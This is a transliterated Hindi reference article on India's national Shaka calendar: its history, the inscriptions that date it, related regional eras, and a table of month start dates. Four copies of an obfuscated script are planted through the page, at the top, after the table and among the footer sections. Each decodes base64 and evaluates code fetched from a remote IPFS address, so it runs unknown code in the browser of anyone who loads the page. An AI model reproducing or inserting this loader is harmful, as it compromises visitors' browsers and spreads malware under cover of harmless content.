राष्ट्रीय शाके
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rashtriy shake athava shak sanvat bharat ka rashtriy kalaindar hai. yah 78 varsh eesa poorv prarambh hua tha. chaitr 1, 1879 shak sanvat[1] ko ise adhikarik roop se vidhivat apanaya gaya.
- 500 ee. ke uparant sanskrit mean likhit sabhi jyotiahshastriy granth shak sanvat ka prayog karane lage. is sanvat ka yah nam kyoan p da, is vishay mean vibhinn ek mat haian. ise kushan raja kanishk ne chalaya ya kisi any ne, is vishay mean antim roop se kuchh nahian kaha ja saka hai. yah ek kathin samasya hai jo bharatiy itihas aur kal nirnay ki atyant kathin samasyaoan mean mani jati hai.
- varahamihir ne ise shak-kal[2] tatha shak-bhoopakal[3] kaha hai.
- utpal (lagabhag 966 ee.) ne brihatsanhita[4] ki vyakhya mean kaha hai - jab vikramadity dvara shak raja mara gaya to yah sanvat chala. isake varsh chandr-saur-ganana ke lie chaitr se evan saur ganana ke lie mesh se arambh hote the. isake varsh samanyatah bite hue haian aur sanh 78 ee. ke 'vasantik vishuv' se yah arambh kiya gaya hai. sabase prachin shilalekh, jisamean spasht roop se shak sanvat ka ullekh hai, 'chaluky vallabheshvar' ka hai, jisaki tithi 465 shak sanvat arthat 543 ee. hai. kshatrap rajaoan ke shilalekhoan mean varshoan ki sankhya vyakt hai, kintu sanvat ka nam nahian hai, kintu ve sankhyaean shak kal ki dyotak haian, aisa samanyatah logoan ka mat hai. kuchh logoan ne kushan raja kanishk ko shak sanvat ka pratishthapak mana hai.
- pashchatkalin, madhyavarti evan vartaman kaloan mean, jyotirvidabharan mean bhi yahi bat hai, shak sanvat ka nam 'shalivahan' hai. kintu sanvat ke roop mean shalivahan roop 13vian ya 14vian shati ke shilalekhoan mean aya hai. yah sambhav hai ki satavahan nam[5] 'shalavahan' bana aur 'shalivahan' ke roop mean a gaya.[6]
- kashmir mean prayukt saptarshi sanvat ek any sanvat hai, jo laukik sanvat ke nam se bhi prasiddh hai. rajatarangini[7] ke anusar laukik varsh 24 gat shak sanvat 1070 ke barabar hai. is sanvat ke upayog mean samanyatah shatabdiyaan nahian di huee haian. yah chandr-saur sanvat hai aur chaitr shukl ki pratipada ko ee. poo. aprail 3076 mean arambh hua.
- brihatsanhita[8] ne ek parampara ka ullekh kiya hai ki saptarshi ek nakshatr mean sau varshoan tak rahate haian aur jab yudhishthar rajy kar rahe the to ve mesh rashi mean the. sambhavatah yahi sau varshoan vale vrittoan ka udgam hai.
- bahut-se any sanvath bhi the, jaise - vardhaman, buddh-nirvan, gupt, chedi, harsh, lakshmanasen bangal mean, kollam ya parashuram malavar mean, jo kisi samay kam se kam laukik jivan mean bahut prachalit the.
| kram | mah | divas | mas prarambh tithi (gregori) |
|---|---|---|---|
| 1 | chaitr | 30/31 | 22 march[9] |
| 2 | vaishakh | 31 | 21 aprॅl |
| 3 | jyeshth | 31 | 22 mee |
| 4 | ashadh | 31 | 22 joon |
| 5 | shravan | 31 | 23 julaee |
| 6 | bhadrapad | 31 | 23 agast |
| 7 | ashvin | 30 | 23 sitanbar |
| 8 | kartik | 30 | 23 aktoobar |
| 9 | margashirsh | 30 | 22 navambar |
| 10 | paush | 30 | 22 disambar |
| 11 | magh | 30 | 23 janavari |
| 12 | phalgun | 30 | 20 faravari |
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 22 march 1957
- ↑ panchasiddhantika evan brihatsanhita 13|3
- ↑ brihatsanhita 8|20-21
- ↑ brihatsanhita 8|20
- ↑ harshacharit mean gatha saptashati ke praneta ke roop mean varnit
- ↑ kailendar riph aaurm kamiti riport (pri. 244-256).
- ↑ rajatarangini 1|52
- ↑ brihatsanhita 13|3-4
- ↑ lip varsh mean chaitr mah mean se yah 21 march se prarambh hota hai.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>